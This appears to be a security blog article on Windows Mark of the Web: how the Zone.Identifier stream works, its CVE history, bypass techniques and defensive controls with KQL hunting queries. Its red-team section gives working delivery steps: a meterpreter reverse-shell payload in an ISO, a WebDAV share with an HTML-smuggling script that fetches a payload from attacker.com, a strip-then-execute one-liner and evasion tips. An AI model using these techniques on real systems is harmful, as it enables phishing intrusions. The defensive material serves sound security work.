Mark of the Web (MoTW) Details

Estimated reading time: 17 minutes

01 // What Is Mark of the Web?

Mark of the Web is a Windows security feature that dates to Internet Explorer 6 and has evolved into one of the most critical gatekeeping mechanisms in the modern Windows security model. At its core, MoTW is a simple concept: when a file arrives from an untrusted source, a browser download, an email attachment, or a file transfer from the internet, Windows stamps that file with metadata indicating its origin.

This stamp takes the form of an NTFS Alternate Data Stream (ADS) named Zone.Identifier, attached to the file on disk. The stream contains a [ZoneTransfer] block that records the Zone ID, referrer URL, and host URL. This tiny piece of metadata then drives downstream security decisions across the entire Windows ecosystem, from SmartScreen and UAC to Office Protected View and Windows Defender Application Control (WDAC).

1.1 — The Zone.Identifier Stream

The actual on-disk format of MoTW is straightforward. Here is what the stream looks like when inspected via PowerShell:

PowerShell — Inspect Zone.Identifier ADS
PS C:\Users\Analyst> Get-Item .\payload.docm -Stream *

PSPath       : Microsoft.PowerShell.Core\FileSystem::C:\payload.docm
PSChildName  : payload.docm::$DATA
Length       : 28672

PSChildName  : payload.docm:Zone.Identifier
Length       : 123

PS C:\Users\Analyst> Get-Content .\payload.docm -Stream Zone.Identifier
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://attacker.com/payload.docm
HostUrl=https://attacker.com/payload.docm

1.2 — Zone IDs: The Full Reference

The ZoneId value maps to one of five Internet Security Zones defined in Windows. Zone 3 is the critical value that triggers all downstream restrictions:

Zone ID Reference
  ┌──────────┬─────────────────────────────────────────────┐
  │ ZoneId=0 │ Local Machine (My Computer)                 │
  │ ZoneId=1 │ Local Intranet                              │
  │ ZoneId=2 │ Trusted Sites                               │
  │ ZoneId=3 │ Internet  ◄── MoTW applied here             │
  │ ZoneId=4 │ Restricted Sites                            │
  └──────────┴─────────────────────────────────────────────┘

Zone 0 files are treated as if they originated locally as no restrictions apply. Zone 2 and Zone 1 receive lighter treatment. Only Zone 3 triggers the full SmartScreen + Protected View + UAC stack.

02 // How MoTW Gets Applied

MoTW is applied at the point of file creation or download. Multiple Windows components are responsible for writing the Zone.Identifier stream depending on how the file entered the system:

Source / Mechanism MoTW Applied By
Browser download (Chrome, Edge, Firefox)Browser via IAttachmentExecute COM API
Outlook email attachment saved to diskOutlook / Windows Shell
ZIP extraction (Windows Explorer)Explorer (Win11 22H2+ propagates to contents)
ISO / VHD mount (Windows Explorer)Explorer applies to container only
curl / wget (PowerShell)PowerShell 3.0+ via IAttachmentExecute
SMB / UNC file copyNOT applied — network share bypass
USB / physical mediaNOT applied — local filesystem
7-Zip / WinRAR extractionNOT propagated — third-party tools bypass

2.1 — The Propagation Problem

A critical and historically exploited nuance: MoTW is applied to the container (the ZIP, ISO, etc.) but not necessarily propagated to its contents when extracted. Microsoft patched ZIP propagation in Windows 11 22H2 (October 2022), but the following container types still do not propagate MoTW to their extracted contents as of 2026:

  • ISO disk images (.iso)
  • .img files
  • Virtual hard disks (.vhd / .vhdx)
  • 7-Zip archives extracted via 7z.exe or 7-Zip GUI
  • WinRAR archives (prior to patched versions)

03 // How Windows Consumes MoTW

MoTW is not a standalone control, it is an input that feeds multiple security subsystems. Understanding each consumer is essential for both defenders and red teamers.

3.1 — SmartScreen Application Reputation

Windows SmartScreen checks ZoneId=3 files against Microsoft’s cloud reputation database before execution. Unsigned or low-reputation binaries receive a blocking warning. Signed files from well-established publishers may pass silently. Without MoTW, SmartScreen does not trigger at all.

3.2 — Microsoft Office Protected View

Office documents with MoTW open in Protected View, a sandboxed rendering environment where macros are completely disabled:

Microsoft Word — Protected View Dialog
  ┌────────────────────────────────────────────────────────────────┐
  │  Microsoft Word — Protected View                               │
  ├────────────────────────────────────────────────────────────────┤
  │  ⚠  PROTECTED VIEW  Be careful. Files from the Internet can    │
  │     contain viruses. Unless you need to edit, it's safer to    │
  │     stay in Protected View.  [ Enable Editing ]                │
  ├────────────────────────────────────────────────────────────────┤
  │  (document content rendered read-only, macros DISABLED)        │
  │                                                                │
  │  [Macro content blocked — Zone.Identifier ZoneId=3 detected]  │
  └────────────────────────────────────────────────────────────────┘

Protected View is specifically triggered by ZoneId=3. A document without MoTW opens in full edit mode with macro execution available. This is precisely why container-based bypasses were so effective for phishing campaigns delivering malicious Office documents.

3.3 — User Account Control (UAC)

Executables with MoTW that request elevation receive additional friction: the UAC dialog displays “Unknown Publisher” in amber/orange rather than the standard prompt. This creates social engineering friction for attackers delivering signed but low-reputation binaries.

3.4 — The Full MoTW Decision Flow

MoTW Security Decision Flow
  INTERNET / UNTRUSTED SOURCE
  ┌─────────────────────────────────────────────────────────┐
  │  Browser Download  │  Email Attachment  │  USB/ISO      │
  └──────────┬──────────────────┬───────────┬──────────────┘
             │                  │           │
             ▼                  ▼           ▼
  ┌─────────────────────────────────────────────────────────┐
  │            NTFS Alternate Data Stream                   │
  │         Zone.Identifier  :$DATA                         │
  │                                                         │
  │   [ZoneTransfer]                                        │
  │   ZoneId=3                                              │
  │   ReferrerUrl=https://attacker.com/payload.zip          │
  └─────────────────────────────────────────────────────────┘
             │
             ▼
  ┌─────────────────────────────────────────────────────────┐
  │              Windows Security Checks                    │
  │                                                         │
  │   SmartScreen ──► File Reputation Check                 │
  │   UAC Prompt  ──► "Unknown Publisher" warning           │
  │   Office      ──► Protected View (macros disabled)      │
  │   Mark of Web ──► Applied to extracted archive contents │
  └─────────────────────────────────────────────────────────┘

04 // Inspecting MoTW — Analyst Reference

4.1 — PowerShell Commands

PowerShell — MoTW Inspection & Removal
# Check if a file has MoTW
Get-Item .\payload.docm -Stream *

# Read the Zone.Identifier content
Get-Content .\payload.docm -Stream Zone.Identifier

# Remove MoTW (Unblock-File)
Unblock-File -Path .\payload.docm

# Bulk check — find all MoTW-tagged files in a directory
Get-ChildItem C:\Users\User\Downloads -Recurse |
  Where-Object { (Get-Item $_.FullName -Stream * |
  Select-Object -ExpandProperty Stream) -contains 'Zone.Identifier' }

4.2 — Sysinternals Streams

Sysinternals streams.exe
# Sysinternals Streams utility — enumerate all ADS
streams.exe -s C:\Users\User\Downloads\

# Output example:
C:\Users\User\Downloads\payload.iso:
   :Zone.Identifier:$DATA    127

# Remove all ADS (including MoTW) from a file
streams.exe -d payload.iso

05 // Real-World Exploitation History

MoTW bypasses have been central to some of the most impactful phishing and initial access campaigns in recent years. The following CVEs and threat actor patterns demonstrate how pervasive this abuse has become:

CVE / Campaign Bypass Technique
CVE-2022-41049 WindowsZIP files did not propagate MoTW to extracted files (patched Oct 2022)
CVE-2022-44698 SmartScreenCrafted .url files with UNC handler bypassed MoTW SmartScreen check
CVE-2023-24880 SmartScreenMalformed Authenticode signature bypassed SmartScreen on MoTW files
Qakbot / QBot (2022)ISO + LNK delivery — ISO MoTW not propagated to embedded LNK
Emotet (2022 revival)XLS attachments in ISO containers to bypass Protected View
Magniber RansomwareMalformed .appx and .msix files bypassed SmartScreen MoTW checks
TA570 / TA577ISO + DLL sideloading — DLL inside ISO had no MoTW
BumbleBee LoaderISO + LNK combo — consistent MoTW evasion for loader delivery

06 // Red Team Evasion Techniques

⚠ AUTHORIZED USE ONLY

The following techniques are documented for authorized red team engagements only.

All testing must be performed within the scope of a signed Rules of Engagement (ROE).

These techniques mirror real-world threat actor TTPs mapped to MITRE ATT&CK T1553.005.

6.1 — ISO / IMG Container Delivery

The most widely adopted MoTW bypass technique used in the wild. By delivering a payload inside an ISO disk image, the container receives MoTW but the contents when mounted via Windows Explorer do not. This completely removes Office Protected View and SmartScreen for files inside the ISO.

ISO Container Bypass — Full Workflow
ATTACKER WORKFLOW — ISO Container Bypass

1. Create payload:   msfvenom -p windows/x64/meterpreter/reverse_https ...
2. Create ISO:       mkisofs -o payload.iso payload.lnk
   OR (Windows):     New-IsoFile -Path payload.lnk -Destination payload.iso
3. Deliver via HTTP: victim downloads payload.iso  ← MoTW applied to .iso
4. Victim mounts:    Double-click ISO → mounts as drive letter (e.g. E:\)

RESULT: E:\payload.lnk has NO Zone.Identifier stream
        Windows Explorer shows no security warning
        LNK executes payload without SmartScreen prompt

PS> Get-Item E:\payload.lnk -Stream *
# Only ::$DATA stream present — Zone.Identifier ABSENT
⚔ RED TEAM USAGE — ISO BYPASS

MITRE ATT&CK: T1553.005 — Mark-of-the-Web Bypass

Payload options: LNK → PowerShell cradle, DLL sideloading, MSI installer, EXE

Tools: mkisofs (Linux), oscdimg.exe (Windows ADK), PowerShell New-ISOFile module

Pair with: HTML smuggling delivery (ISO downloaded via JS blob), phishing lure as invoice/receipt

EDR note: Mounting ISO from Downloads generates process creation events, blend with signed binary

Best combo: ISO + LNK + LOLBin (mshta.exe, regsvr32.exe, wscript.exe) for clean execution chain

6.2 — VHD / VHDX Virtual Disk Delivery

Virtual Hard Disk files behave identically to ISOs for MoTW purposes. Windows mounts them as drive letters and does not propagate the Zone.Identifier to contained files. Slightly less common in the wild than ISO but equally effective.

PowerShell — Create VHDX Containing Payload
# Create a VHD containing payload (PowerShell)
$vhd = New-VHD -Path C:\payload.vhdx -SizeBytes 50MB -Dynamic
Mount-VHD -Path C:\payload.vhdx
# Add payload files to mounted VHD drive letter
Copy-Item .\payload.lnk 'E:\'
Dismount-VHD -Path C:\payload.vhdx

# Result: payload.lnk inside VHDX has no Zone.Identifier when mounted

6.3 — WebDAV / UNC Path Delivery

Files accessed via UNC paths (\\server\share\file.exe) are treated as network share resources, not internet downloads. Windows does not apply MoTW to files accessed via SMB or WebDAV. This makes WebDAV-hosted payloads a reliable bypass when direct-download detection is high.

WebDAV Bypass — Attacker Infrastructure Setup
# Attacker side — serve files over WebDAV
pip install wsgidav
wsgidav --host=0.0.0.0 --port=80 --root=/srv/payloads --auth=anonymous

# Phishing lure references UNC path in HTML smuggling or document
# \\attacker.com\share\payload.exe

RESULT: Files accessed via UNC/WebDAV DO NOT receive MoTW
        (UNC paths treated as network shares, not Internet downloads)

# Delivery via HTML smuggling with UNC reference:
<script>
  var link = document.createElement('a');
  link.href = 'file://attacker.com/share/payload.exe';
  link.click();
</script>
⚔ RED TEAM USAGE — WEBDAV BYPASS

Requires: Target must be able to reach attacker’s WebDAV server (TCP 80/443)

Tools: wsgidav (Python), Impacket smbserver.py, Metasploit auxiliary/server/webdav

OPSEC: Use HTTPS WebDAV (port 443) to blend with normal web traffic

Detection: Unusual WebDAV connections in proxy logs; net use events in Windows Security log

Pair with: Cobalt Strike Scripted Web Delivery (UNC delivery option)

6.4 — Container Propagation Reference

Container MoTW Propagation Matrix
  CONTAINER BYPASS COMPARISON
  ┌──────────────────┬─────────────┬───────────────────────────┐
  │ Container Type   │ MoTW on Cnt │ MoTW Propagates to Files? │
  ├──────────────────┼─────────────┼───────────────────────────┤
  │ .zip (standard)  │     YES     │ YES (Windows 11 22H2+)    │
  │ .zip (old Win10) │     YES     │ NO  ← bypass              │
  │ .iso             │     YES     │ NO  ← bypass              │
  │ .img             │     YES     │ NO  ← bypass              │
  │ .vhd / .vhdx     │     YES     │ NO  ← bypass              │
  │ .7z              │     YES     │ NO  ← bypass              │
  │ .rar (WinRAR)    │  SOMETIMES  │ NO  ← bypass (pre-patch)  │
  └──────────────────┴─────────────┴───────────────────────────┘
  * Microsoft patched ZIP propagation in Win11 22H2 (Oct 2022)
  * ISO/VHD mounts via Windows Explorer never propagate MoTW

6.5 — Stripping MoTW Post-Delivery

If the payload has already landed on disk with MoTW applied, stripping the Zone.Identifier ADS before execution removes all downstream restrictions. This requires write access to the file and generates minimal log footprint.

PowerShell — Strip MoTW (ADS Removal)
# Strip MoTW from a file (requires access to filesystem)

# PowerShell — remove Zone.Identifier stream
Unblock-File -Path .\payload.docm

# Alternatively via streams
Remove-Item .\payload.docm -Stream Zone.Identifier

# CMD equivalent (copy to non-NTFS strips all ADS)
more < payload.docm > clean_payload.docm

# One-liner: strip then execute
Unblock-File $env:TEMP\payload.exe; Start-Process $env:TEMP\payload.exe

# Verification — confirm MoTW is gone
Get-Item .\payload.docm -Stream *
# Should show ONLY ::$DATA — no Zone.Identifier
⚔ RED TEAM USAGE — ADS STRIP

Use case: Payload staged via download cradle to disk — strip before execution

OPSEC: Unblock-File generates no Windows event log by default, very low detection risk

Alternative: Copy to non-NTFS location (FAT32 USB, network share), ADS stripped automatically

EDR: Some EDR products hook ADS modification. Test in lab before deployment

6.6 — Malformed Authenticode (CVE-2023-24880 Class)

A class of SmartScreen bypasses involves crafting PE files with malformed or specially structured Authenticode signatures. SmartScreen’s signature verification fails open for certain malformed states so the file passes the reputation check despite not having a valid trusted signature. Magniber ransomware exploited this pattern extensively before Microsoft’s patch in March 2023.

Malformed Authenticode Bypass — Concept
# Concept: Append junk data to Authenticode signature block
# SmartScreen fails to parse signature → skips reputation check

# SmartScreen reads Authenticode → parse error → defaults to 'signed' state
# MoTW is present (ZoneId=3) but SmartScreen skips cloud lookup
# Result: file executes without SmartScreen warning

# Patched in: KB5023706 (March 2023 Patch Tuesday)
# Unpatched systems: Windows 10 21H2 and earlier without March 2023 CU

# Tool: MSIX/APPX packaging with invalid signature structure
# Tool: Custom PE manipulation (pefile Python library)

07 // Detection & Defense

✓ DEFENDER GUIDANCE

The following controls significantly raise the cost of MoTW bypass for attackers.

Defense-in-depth is required. No single control covers all bypass variants.

Highest-value single control: disable ISO/VHD auto-mount via Group Policy.

Defense Control Mitigates
Disable ISO/VHD auto-mount via Group PolicyISO/VHD container bypass (most impactful single control)
ASR Rule: Block Office child processesLNK/macro execution post-MoTW bypass
ASR: Block untrusted/unsigned processes from USBUSB-delivered payloads without MoTW
Enable Protected View for all zones (not just Zone 3)MoTW-stripped Office documents
WDAC policy requiring signed executablesUnsigned payload execution regardless of MoTW
Block outbound WebDAV/SMB at perimeterUNC/WebDAV payload delivery
MDE: Alert on Zone.Identifier ADS removalPost-landing ADS strip attempts
Apply Patch Tuesday monthly (no exceptions)CVE-class SmartScreen bypasses
Hunt: ISO/VHD mounts from Downloads folderContainer-based delivery detection

7.1 — KQL Detection Query (Microsoft Defender for Endpoint)

KQL — ISO Mount from Downloads + LNK Execution
// Detect ISO/VHD files mounted from user download locations
DeviceProcessEvents
| where FileName =~ 'explorer.exe'
| where ProcessCommandLine has_any ('.iso', '.img', '.vhd', '.vhdx')
| where ProcessCommandLine has_any ('Downloads', 'Temp', 'AppData')
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| order by Timestamp desc

// Hunt for LNK execution from mounted drive letters (non-C:)
DeviceProcessEvents
| where InitiatingProcessFileName =~ 'explorer.exe'
| where FolderPath matches regex @'^[D-Z]:\\'
| where FileName has_any ('cmd.exe','powershell.exe','mshta.exe','wscript.exe')
| project Timestamp, DeviceName, AccountName, FolderPath, FileName

08 // MITRE ATT&CK Mapping

Technique ID Description
T1553.005Subvert Trust Controls: Mark-of-the-Web Bypass
T1566.001Phishing: Spearphishing Attachment (MoTW bypass delivery)
T1027.006Obfuscated Files: HTML Smuggling (used for ISO delivery)
T1218.011System Binary Proxy Execution: Rundll32 (post-bypass execution)
T1218.005System Binary Proxy Execution: Mshta (post-bypass execution)
T1204.002User Execution: Malicious File (victim mounts ISO, clicks LNK)
T1140Deobfuscate/Decode Files (ADS strip post-landing)

09 // Conclusion

Mark of the Web remains one of the most impactful and most abused security mechanisms in Windows. Its reliance on NTFS ADS creates inherent blind spots. Any container format that Windows mounts without propagating the stream is a potential bypass vector. The 2022 surge in ISO-based phishing campaigns was a direct consequence of this architectural limitation.

For red teams, MoTW bypass via ISO/VHD delivery remains the most reliable and lowest-friction technique for bypassing Office Protected View and SmartScreen as of early 2026, particularly against unpatched or misconfigured endpoints. WebDAV delivery offers an alternative when container formats are monitored or blocked.

For defenders, the highest-value single control is disabling ISO/VHD auto-mount via Group Policy, supplemented by Attack Surface Reduction rules and monthly patching. No bypass technique covered in this article survives a fully enforced WDAC policy requiring trusted code signing if your organization can deploy it, do so.

📌 KEY TAKEAWAYS

MoTW lives in an NTFS ADS (Zone.Identifier) It only exists on NTFS volumes

ISO/VHD mounts remain the most reliable MoTW bypass as of 2026

Unblock-File (PowerShell) strips MoTW silently with minimal log footprint

Defender priority: Disable ISO auto-mount + ASR rules + WDAC for full coverage

Every major threat actor delivering via phishing (Qakbot, Emotet, BumbleBee) abused MoTW


Leave a Reply

Your email address will not be published. Required fields are marked *